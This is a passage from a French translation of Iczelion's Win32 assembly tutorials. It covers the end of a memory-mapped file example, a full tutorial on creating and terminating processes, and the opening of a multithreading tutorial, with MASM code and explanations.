.IF uMsg==WM_CREATE
invoke GetMenu,hWnd ; Obtient l'handle du menu
mov hMenu,eax
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileRead,eax
invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL
mov hMapFile,eax
mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED
.endif
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileWrite,eax
invoke MapViewOfFile,hMapFile,FILE_MAP_READ,0,0,0
mov pMemory,eax
invoke GetFileSize,hFileRead,NULL
invoke WriteFile,hFileWrite,pMemory,eax,ADDR SizeWritten,NULL
invoke UnmapViewOfFile,pMemory
call CloseMapFile
invoke CloseHandle,hFileWrite
invoke SetWindowText,hWnd,ADDR AppName
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_GRAYED
.endif
.else
invoke DestroyWindow, hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

CloseMapFile PROC
invoke CloseHandle,hMapFile
mov hMapFile,0
invoke CloseHandle,hFileRead
ret
CloseMapFile endp

end start

Analyse:

invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL

Quand l'utilisateur choisit un fichier dans la DialogBox qui sert à ouvrir des fichiers, nous appelons CreateFile pour l'ouvrir. Notez que nous spécifions GENERIC_READ pour ouvrir ce fichier avec comme propriété 'Read-Only'. 'dwShareMode' est mis à zéro parce que nous ne voulons pas que d'autres processus n'aient accès au fichier pendant notre opération.

invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL

Alors nous appelons CreateFileMapping pour créer une 'Memory Mapped File' du fichier ouvert. La syntaxe de CreateFileMapping est la suivante :

CreateFileMapping proto hFile:DWORD,\
lpFileMappingAttributes:DWORD,\
flProtect:DWORD,\
dwMaximumSizeHigh:DWORD,\
dwMaximumSizeLow:DWORD,\
lpName:DWORD

Sachez déjà, que CreateFileMapping ne doit pas Mapper la totalité de la mémoire du fichier. Vous pouvez utiliser cette fonction pour Mapper seulement une partie de la mémoire du fichier réel. Vous spécifiez la taille de la mémoire du fichier à Mapper dans les paramètres dwMaximumSizeHigh et dwMaximumSizeLow. Si vous indiquez une taille plus grande que le fichier réel, le fichier réel sera agrandit à la nouvelle taille. Si vous voulez que la taille de la mémoire du 'File Mapping' soit la même que celle du fichier réel, mettez ces deux derniers paramètres à zéro.
Vous pouvez employer un NUL dans le paramètre lpFileMappingAttributes pour que ce soit Windows qui crée une 'memory mapped file' avec des attributs de sécurité par défaut.
FlProtect définit la protection désirée pour la 'memory mapped file'. Dans notre exemple, nous employons PAGE_READONLY pour permettre uniquement l'opération de lecture sur la 'memory mapped file'. Notez que cet attribut ne doit pas contredire l'attribut employé dans CreateFile sinon CreateFileMapping échouera.
LpName pointe sur le nom de la 'memory mapped file'. Si vous voulez partager ce fichier avec d'autre processus, vous devez lui donner un nom. Mais dans notre exemple, notre processus est le seul qui emploie ce fichier donc nous ignorons ce paramètre.

mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax

Si CreateFileMapping s'effectue avec succès, le nom du fichier ouvert prend la place du titre de la fenêtre. Le nom du fichier ainsi que son chemin complète sont stocké dans le buffer, nous voulons afficher uniquement le nom de fichier dans le titre donc nous devons ajouter la valeur du membre nFileOffset de la structure OPENFILENAME à l'adresse de ce buffer. (vous avez compris pourquoi ! ! !)

invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED

Comme précaution, nous ne voulons pas que l'utilisateur puisse ouvrir plusieurs fichiers les uns après les autres, donc nous devons griser le sous-menu 'Open' et dégriser le sous-menu 'Save'. EnableMenuItem est justement employé pour changer les attributs du menu..
Après ceci, nous attendons que l'utilisateur clique sur le sous-menu File/Save pour fermer notre programme. Au moment où l'utilisateur ferme le programme, nous devons en fait fermer la 'memory mapped file' ainsi que le fichier réel. Voici comment faire :

.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL

Dans le susdit petit bout de code, quand la procédure de fenêtre reçoit le message WM_DESTROY, il vérifie d'abord la valeur d'hMapFile pour voir si c'est un zéro ou non. Si ce n'est pas le zéro, il appelle la fonction CloseMapFile qui contient le code suivant :

CloseMapFile PROC
invoke CloseHandle,hMapFile
mov hMapFile,0
invoke CloseHandle,hFileRead
ret
CloseMapFile endp

CloseMapFile ferme la 'memory mapped file' et le fichier réel, pour empêcher qu'il n'y ait une fuite de ressources lorsqu'on sort de notre programme Win32.
Si l'utilisateur veut le sauvegarder les données dans un autre fichier, le programme l'affiche dans une DialogBox spéciale 'Sauvegarde'. Après qu'il ait tapé le nom du nouveau fichier, le fichier est créé par la fonction CreateFile.

invoke MapViewOfFile,hMapFile,FILE_MAP_READ,0,0,0
mov pMemory,eax

Immédiatement après que le fichier ait été créé, nous appelons MapViewOfFile pour Mapper la partie désirée de la 'memory mapped file' dans la mémoire. Cette fonction a la syntaxe suivante :

MapViewOfFile proto hFileMappingObject:DWORD,\
dwDesiredAccess:DWORD,\
dwFileOffsetHigh:DWORD,\
dwFileOffsetLow:DWORD,\
dwNumberOfBytesToMap:DWORD

dwDesiredAccess indique quelle opération nous souhaitons faire sur le fichier. Dans notre exemple, nous voulons seulement lire les données, donc nous employons FILE_MAP_READ.
dwFileOffsetHigh et dwFileOffsetLow indiquent l'offset de départ où commence le fichier que vous voulez Mapper en mémoire. Ici, nous voulons lire dans la totalité du fichier donc nous commençons le Mapping à l'offset 0.
dwNumberOfBytesToMap indique le nombre d'octets à Mapper dans la mémoire. Si vous voulez Mapper le fichier en entier (Spécifié par CreateFileMapping), donnez la valeur 0 à MapViewOfFile.
Après l'appel à MapViewOfFile, la partie désirée est chargée dans la mémoire. On vous renverra le pointer du bloc de mémoire qui contient les données du fichier.

invoke GetFileSize,hFileRead,NULL

Regarde de quelle taille est le fichier. La taille du fichier est renvoyée dans eax. Si le fichier est plus grand que 4 GB, le mot de poids fort de la taille du fichier est stocké dans FileSizeHighWord. Puisque nous ne nous attendons pas à manipuler un si grand fichier, nous pouvons l'ignorer.

invoke WriteFile,hFileWrite,pMemory,eax,ADDR SizeWritten,NULL

Écrit les données qui sont configurées(Mappées) dans la mémoire du fichier.

invoke UnmapViewOfFile,pMemory

Quand tout est près avec le fichier d'entrée, on l''Unmap' en mémoire.

call CloseMapFile
invoke CloseHandle,hFileWrite

et on referme tous les fichiers.

invoke SetWindowText,hWnd,ADDR AppName

Restore le titre original de la fenêtre principale.

invoke EnableMenuItem,hMenu,IDM_OPEN,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_GRAYED

Réactive le sous-menu 'Open' et désactive le sous-menu 'Save' en le grisant.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 14: Process

Tutorial 14: Process

Nous allons voir ce qu'est un process et comment faire pour le créer et le terminer.

Downloadez l'exemple ici. Attention en fait cet exemple est dans un *.ZIP et il ne marchera pas si vous le laissez dedans, donc dézipez-le.

Préliminaire:

Qu'est ce qu'un 'process' ? Je cite cette définition de la référence Win32 API:
"Un 'process' est une application (un programme) qui sert à exécuter un autre programme. C'est un espace d'adresses virtuel privé, de code, de données et d'autres ressources du système d'exploitation, comme les fichiers, ou la synchronisation d'objets qui sont visibles pour le process.."
Comme vous pouvez le voir dans la définition ci-dessus, process "possède" plusieurs objets : l'espace d'adresse, le(s) module(s) (les autres programmes) à exécuter et tout ce que ces programmes créent ou ouvrent. Au minimum, process doit consister en l'exécution d'un seul module, avec un espace d'adresse privé et un lien. Chaque process doit avoir au moins un lien. Qu'est ce qu'un lien ? Un lien est en réalité une suite d'instructions d'exécution en attente. Lorsque Windows crée d'abord un process, il crée seulement un lien de process. D'habitude, ce lien fait en sorte d'exécuter la première instruction dans le module (dans le programme ciblé). Si le process à besoins de plusieurs autres liens par la suite, il peut les créer.
Quand Windows reçoit une commande pour créer un process, il alloue un espace d'adresses mémoire privé et ensuite il Mappe (recopie) le fichier exécutable dans cet espace. Après cela il crée le premier lien du process.
Sous Win32, vous pouvez aussi créer des process de vos propres programmes en appelant la fonction CreateProcess. CreateProcess a la syntaxe suivante :

CreateProcess proto lpApplicationName:DWORD,\
lpCommandLine:DWORD,\
lpProcessAttributes:DWORD,\
lpThreadAttributes:DWORD,\
bInheritHandles:DWORD,\
dwCreationFlags:DWORD,\
lpEnvironment:DWORD,\
lpCurrentDirectory:DWORD,\
lpStartupInfo:DWORD,\
lpProcessInformation:DWORD

Ne soyez pas effrayez par le nombre de paramètres. Nous pouvons ignorer la plupart d'entre eux.

LpApplicationName est le nom du fichier exécutable avec ou sans nom de chemin que vous voulez exécuter. Si ce paramètre est nul, vous devez mettre le nom du fichier exécutable dans le paramètre lpCommandLine.
LpCommandLine sont les arguments de la ligne de commande du programme que vous voulez exécuter. Notez que si lpApplicationName est NUL, ce paramètre doit en plus contenir le nom du fichier exécutable. Comme cela : "notepad.exe readme.txt". (LpCommandLine c'est aussi l'argument qu'on écrit dans W32Dasm quand on fait 'DebugàLoad Process [argument]àLoad' , mais c'est très rare qu'on écrive quelque chose en tant qu'argument!)
LpProcessAttributes et lpthreadAttributes Spécifient les attributs de sécurité pour process et le lien primaire. S'ils sont NULS, les attributs de sécurité par défaut sont employés.
BInheritHandles est un flag qui indique si vous voulez qu'un autre process hérite du contrôle de toutes les manipulations ouvertes par votre process.
DwCreationFlags représente Plusieurs flags qui déterminent le comportement du process que vous voulez créé, comme : voulez-vous qu'un process soit créés, mais suspendu immédiatement pour que vous puissiez l'examiner ou le modifier avant qu'il ne reparte ? Vous pouvez aussi spécifier la classe de priorité du lien(s) dans un nouveau process. Cette classe de priorité est employée pour déterminer la priorité de planification des liens du process. Normalement nous employons le flag NORMAL_PRIORITY_CLASS.
LpEnvironment est le pointer du bloc d'environnement qui contient plusieurs instructions pour un nouveau process. Si ce paramètre est NUL, le nouveau process hérite de l'environnement du bloc process précédent.
LpCurrentDirectory est le pointer qui est sur la chaîne de caractères lequel indique l'actuel 'Lecteur ' (Drive) ainsi que le répertoire (Directory) du Child Process. Il est NULL si vous voulez que le 'Child Process' succède au 'Parent Process'.
LpStartupInfo pointe sur une structure STARTUPINFO laquelle dit comment doit apparaître la fenêtre principale du nouveau process. La structure STARTUPINFO contient beaucoup de membres servants à définir l'affichage de la fenêtre principale du 'Child Process'. Si vous ne voulez rien de spécial, vous pouvez remplir la structure STARTUPINFO avec les valeurs du 'Parent Process' en appelant la fonction GetStartupInfo.
LpProcessInformation pointe sur la structure PROCESS_INFORMATION laquelle reçoit l'information d'identification du nouveau process. La structure de PROCESS_INFORMATION est la suivante :

PROCESS_INFORMATION STRUCT
hProcess HANDLE ? ; Handle du 'Child Process'
hThread HANDLE ? ; Handle du premier lien du 'Child Process'
dwProcessId DWORD ? ; ID du 'Child Process'
dwThreadId DWORD ? ; ID du premier lien du 'Child Process'
PROCESS_INFORMATION ENDS
L'handle du process et l'ID du process sont deux choses différentes. L'ID est un identificateur unique du process dans le système. L'handle est une valeur renvoyée par Windows pour qu'on puisse l'utiliser avec d'autres process rapportés de fonctions API. L'handle du process ne peut pas être employé pour identifier un process puisque il n'est pas unique.

Après l'appel à CreateProcess, un nouveau process est créé et on retourne (au prog principa) immédiatement après cet appel à CreateProcess. Vous pouvez vérifier si le nouveau process est toujours actif en appelant la fonction GetExitCodeProcess qui a la syntaxe suivante :

GetExitCodeProcess proto hProcess:DWORD, lpExitCode:DWORD

Si cet appel est couronné de succès, lpExitCode contient le statut de terminaison du process en question. Si la valeur dans lpExitCode est égale à STILL_ACTIVE, alors ce process est toujours en cours.

Vous pouvez force le process à se terminer en appelant la fonction TerminateProcess. Voici sa syntaxe :

TerminateProcess proto hProcess:DWORD, uExitCode:DWORD

Vous pouvez spécifier le code de sortie désiré pour votre process, n'importe quelle valeur que vous souhaitez. TerminateProcess n'est pas une façon très propre de terminaison d'un process puisque chaque dll rattaché à ce process ne sera pas informé que le process a été fermé.

Exemple:

L'exemple suivant crée un nouveau process lorsque l'utilisateur choisit le sous-menu (le menu item) "Create Process". Il essayera d'exécuter "msgbox.exe". Si l'utilisateur souhaite terminer le nouveau process, il peut choisir le menu item "Terminate Process". Le programme vérifiera d'abord si le nouveau process est déjà fermé, si ce n'est pas le cas, le programme appellera la fonction TerminateProcess pour détruire le nouveau process.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_PROCESS equ 1
IDM_TERMINATE equ 2
IDM_EXIT equ 3

.data
ClassName db "Win32ASMProcessClass",0
AppName db "Win32 ASM Process Example",0
MenuName db "FirstMenu",0
processInfo PROCESS_INFORMATION <>
programname db "msgbox.exe",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HANDLE ?
ExitCode DWORD ? ; Contient le statut 'exitcode du process' servant à l'appel de GetExitCodeProcess.

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL startInfo:STARTUPINFO
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread
.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

Ce programme crée la fenêtre principale et renvoie l'handle de son menu pour une future utilisation. Il attend alors que l'utilisateur choisisse une commande du menu. Lorsque l'utilisateur choisit le sous-menu "Process" du menu principal (de la barre de menu), nous déployons le menu grâce au message WM_INITMENUPOPUP pour modifier les sous-menus à l'intérieur du 'menu popup' (menu principal) avant qu'il ne soit affichés.

.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif

Pourquoi utilisons-nous ce message dans notre process? Parce que nous souhaitons préparer les sous-menus dans le menu popup avant que l'utilisateur ne puisse les voir. Dans notre exemple, lorsque le process n'est pas encore lancé, nous activons le sous-menu "Start Process" et désactivons "Terminate Process" (il est grisé). On fait le contraire quand le nouveau process est déjà actif.
Nous vérifions d'abord si le nouveau process dirige (a encore la main sur MsgBox.exe) toujours en appelant la fonction GetExitCodeProcess avec l'handle du process qui a été renvoyé par la fonction CreateProcess. Si les retours de GetExitCodeProcess sont FALSE(FAUX), alos ça signifie que notre process n'est pas encore commencé, donc nous grisons (désactivons) le sous-menu "Terminate Process". Si les retours de GetExitCodeProcess sont TRUE(VRAIS), nous savons que notre nouveau process a été lancé, mais nous devons vérifier plus loin s'il est toujours en court. Donc nous comparons la valeur dans ExitCode à la valeur STILL_ACTIVE. S'ils sont égaux,c'est que notre process en encore en court : nous devons alors désactiver la sous-menu "Start Process" puisque nous ne souhaitons pas lancer plusieurs processus en même temps.

.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread

Quand l'utilisateur choisit le menu item "Start Process", nous vérifions d'abord si le membre hProcess de la structure PROCESS_INFORMATION est déjà fermé. Si c'est la première fois, la valeur d'hProcess sera toujours zéro puisque nous définissons la structure de PROCESS_INFORMATION dans la section '.data'. Si la valeur du membre hProcess n'est pas 0, ça signifie que le Child Process est sorti mais nous n'avons pas fermé son handle process encore. Donc c'est maintenant qu'il le faire.
Nous appelons la fonction GetStartupInfo pour récupérer la valeur startupinfo pour pouvoir ensuite la passer à la fonction CreateProcess. Après ça nous appelons la fonction CreateProcess pour commencer nouveau process. Notez que je n'ai pas vérifié la valeur de retour de CreateProcess parce que ça aurait encore compliqué cet exemple. En réalité, vous devriez vérifier cette valeur de retour (de CreateProcess). Immédiatement après CreateProcess, nous fermons l'handle du premier lien, lequel est renvoyé par la structure processInfo. La fermeture du handle ne veut pas dire que est le lien terminé, mais seulement que nous ne voulons pas employer cet handle pour nous référer au lien de notre programme. Si nous ne le fermons pas, il provoquera une fuite des ressources.

.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0

Quand l'utilisateur choisit le sous-menu (le menu item) "Terminate Process", nous vérifions si le nouveau process est toujours actif en appelant la fonction GetExitCodeProcess. Si il est toujours actif, nous appelons la fonction TerminateProcess pour détruire notre process. Aussi nous fermons l'handle du Child Process puisque désormais nous n'en avons plus besoin.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 15: Multithreading Programming

Tutorial 15: Programmation Multi-liens

Dans ce Tutorial, nous allons voir comment créer un programme multi-liens. On va étudier aussi les méthodes de communication entre les liens.

Downloadez l'exemple ici.

Théorie:

Dans le Tutorial précédent, vous avez appris ce qu'était le lien minimum pour un Process: le lien primaire. Un lien est une chaîne d'exécution. Mais vous pouvez aussi créer des liens supplémentaires dans votre programme. Vous pouvez vous représenter le multi-liens comme une multigestion d'un programme. En terme d'exécution, un lien est une fonction qui tourne en parallèle avec le programme principal. Vous pouvez ouvrir puis commander plusieurs fois la même fonction ou bien vous pouvez diriger plusieurs fonctions simultanément selon vos exigences. Le multi-liens est spécifique à Win32, ça n'existe pas sous Win16.
Par exemple, le multi-liens c'est quand un Process ouvre plusieurs fois une même MessageBox (en changent son contenu si on le souhaite) ou bien quand une MessageBox est appelée par plusieurs process différents.
Les liens sont dirigés par un même process donc ils peuvent avoir accès à n'importe quelles ressources de ce process, telles que les variables globales, les Handles etc. Cependant, chaque lien a sa propre délimitation dans le programme, donc les variables locales de chaque liens sont privées vis à vis des autres liens. Chaque lien possède aussi son jeu de registre privé, donc quand Windows se sert d'autres liens, le lien peut "se rappeler" son statut précédant et peut "reprendre" son ancienne tâche quand il regagne son contrôle. Tout ça est traité intérieurement par Windows.
Voilà ce que permet le multi-liens. Dans les deux programmes 'Thread.exe' et 'Thread1.exe' on leur fait exécuter un calcul très lourd qui les occupe. Pour 'Thread.exe' qui ne possède qu'un lien simple ne peut plus rien faire d'autre que son calcul quand il est commencé, il ne répond plus aux actions de l'utilisateur comme déplacer sa fenêtre pendant le calcul.
'Thread1.exe' qui lui possède un système multi-liens, se sert de lien de travail pour faire le calcul mais laisse un lien principale pour répondre aux sollicitations de l'utilisateur. Comme ça, il répond encore, même pendant une lourde tache.
Nous pouvons diviser les liens en deux catégories :
  1. Les liens d'interface pour l'utilisateur : Ce type de liens crée sa propre fenêtre donc il reçoit des messages spécifiques aux fenêtres. Il peut répondre à l'utilisateur via sa propre fenêtre, de là son nom. Ce type de liens est soumis à la règle(autorité) Mutex de Win16 qui permet un seul lien d'interface d'utilisateur, en utilisation 16 bits avec le noyau gdi. alors qu'un lien d'interface d'utilisateur exécute le code d'utilisateur 16 bits avec le noyau gdi, les autres liens UI ne peuvent pas utiliser le service d'utilisateur 16 bits avec noyau gdi. Notez que ce Mutex Win16 est spécifique à Windows 95. Windows NT ne possède pas de Mutex Win16, c'est pourquoi les liens d'interface d'utilisateur de Windows NT s'effectuent plus doucement que sous le Windows 95.
  2. Les liens de travail : Ce type de liens ne créent pas de fenêtre donc ils ne peuvent pas recevoir de message spécifiques aux fenêtres. Ils existent principalement pour faire le travail assigné en arrière-plan, de là leur nom.
Je conseille la stratégie suivante pour utiliser la pleine capacité des multi-liens sous Win32 : Laissez le lien primaire faire le truc d'interface d'utilisateur et les autres liens faire le travail complexe en arrière-plan. De cette façon, le lien primaire servira de 'Gouverneur', et les autres liens seront un peu comme le 'personnel du Gouverneur'. Le Gouverneur délègue ses responsabilités à son personnel tandis qu'il maintient le contact avec le public(l'utilisateur). Le personnel du Gouverneur exécute avec obéissance le travail et l'annonce de ses résultats. Si le Gouverneur (le lien primaire) devait exécuter chaque tâche lui-même, il ne serait pas capable de donner beaucoup d'attention au public ou à la presse. Tout ça s'apparente à une fenêtre qui a pour action de donner un long travail pour occupée son lien primaire : il ne répond pas à l'utilisateur avant que le travail ne soit achevé. Un tel programme peut en profiter pour créer un lien additionel qui sera responsable du long travail, permettant ainsi au lien primaire de répondre aux commandes de l'utilisateur.
Nous pouvons créer un lien en appelant la fonction CreateThread, laquelle a la syntaxe suivante :

CreateThread proto lpThreadAttributes:DWORD,\
dwStackSize:DWORD,\
lpStartAddress:DWORD,\
lpParameter:DWORD,\
dwCreationFlags:DWORD,\
lpThreadId:DWORD

Le fonctionnent de CreateThread ressemble beaucoup à celui de CreateProcess.
lpThreadAttributes Vous pouvez le mettre à 0 (NULL) si vous souhaitez que le lien soit le descripteur de sécurité par défaut.
dwStackSize Ça spécifie la taille à réserver sur la pile pour le lien. Si vous voulez que le lien ait la même taille de pile que le lien primaire, employez le 0 (NULL) pour ce paramètre.
lpStartAddress Adresse de la fonction qui fait le 'lien'. C'est la fonction qui exécutera le travail (qui fera le lien). Cette fonction DOIT recevoir un et seulement un paramètre 32 bits et renvoyer une valeur sur 32 bits.
lpParameter C'est le paramètre que vous devez passer à la fonction 'lien'.
dwCreationFlags 0 signifie que le lien prend le commandement immédiatement après qu'il est été créé. L'opposé c'est le flag 'CREATE_SUSPENDED'.
lpThreadId La fonction 'CreateThread' donnera l'ID du nouveau lien créé à cette adresse.

Si l'appel de CreateThread s'est déroulé avec succès, il rend l'handle du lien nouvellement créé. Sinon, il renvoie le NULL.
La fonction de lien en en cours aussitôt après que l'appel de CreateThread soit un succès, à moins que vous ne mettez le flag 'CREATE_SUSPENDED' dans dwCreationFlags. Dans ce cas, le lien est suspendu jusqu'à ce que la fonction ResumeThread soit appelée.
Après les retours de la 'fonction de lien' (avec l'instruction ret), Windows appelle la fonction ExitThread tout seul. Mais vous pouvez appeler la fonction ExitThread dans votre 'fonction de lien' par vous-même, mais là je développerai pas !
Vous pouvez retrouver le code de sortie d'un lien en appelant la fonction GetExitCodeThread.
Si vous voulez terminer un lien, vous pouvez appeler la fonction TerminateThread. Mais vous devez employer cette fonction seulement dans des circonstances extrêmes puisque cette fonction termine le lien immédiatement sans lui donner aucune chance de se fermer proprement, sans laissez derrière lui des valeurs qui lui sont spécifiques dans certaines variables.

Maintenant on va vous montrer les méthodes de communications entre les liens.
Il y en a trois:

  • L'utilisation des variables globales
  • Les messages Windows
  • Les événements
Les liens partagent les ressources du process en incluant des variables globales donc les liens peuvent utiliser ces varibles globales pour communiquer les unes avec les autres. Cependant cette méthode doit être utilisée avec grand soin. La synchronisation des liens doit être prise en compte. Par exemple, si deux liens emploient la même structure de 10 membres, ce qui arrive quand Windows prend soudainement le contrôle d'un lien lorsqu'il est en pleine remise à jour de sa structure, l'autre lien sera alors abandonné avec des données incomplètes ou sans significations pour sa structure! Ne faites pas d'erreur, les programmes multi-liens sont bien plus durs à mettre au point et à maintenir. Cette sorte de bogue(défaut) semble bien arriver au hasard, ce qui fait que c'est très difficile à traquer.
Vous pouvez aussi employer des messages de fenêtre pour communiquer entre les liens. Si les liens sont tous des interfaces d'utilisateur, il n'y a aucun problème : cette méthode peut être employée en tant que communication bilatérale. Tout ce que vous devez faire c'est définit un ou plus messages de fenêtres sur mesure lesquels seront spécifiques aux liens. Vous définissez un message sur mesure en employant le message WM_USER comme valeur de base. Voilà, vous pouvez le définir comme ceci :

WM_MYCUSTOMMSG equ WM_USER+100h

Windows n'emploiera jamais aucune valeur WM_USER vers ses propres messages donc vous pouvez employer la valeur WM_USER pour votre propres messages faits sur mesure.
Si un des lien est un lien d'interface utilisateur (le lien primaire, le Gouverneur) et un autre est un des 'personnel du gouverneur', vous ne pouvez pas employer cette méthode en tant que communication bilatérale puisque un lien 'personnel' ne possède pas sa propre fenêtre. Donc il n'a y pas de file d'attente de message. Vous pouvez employer le schéma suivant :

User interface Thread ------> global variable(s)----> Worker thread
Worker Thread ------> custom window message(s) ----> User interface Thread

Soit en Français:

Lien d'interface d'utilisateur (primaire)------> variable(s) globale(s)----> lien de travail (personnel)
lien de travail (personnel)------>'message(s) de fenêtre' conçu sur mesure----> lien d'interface d'utilisateur

En fait, nous employons cette méthode dans notre exemple.
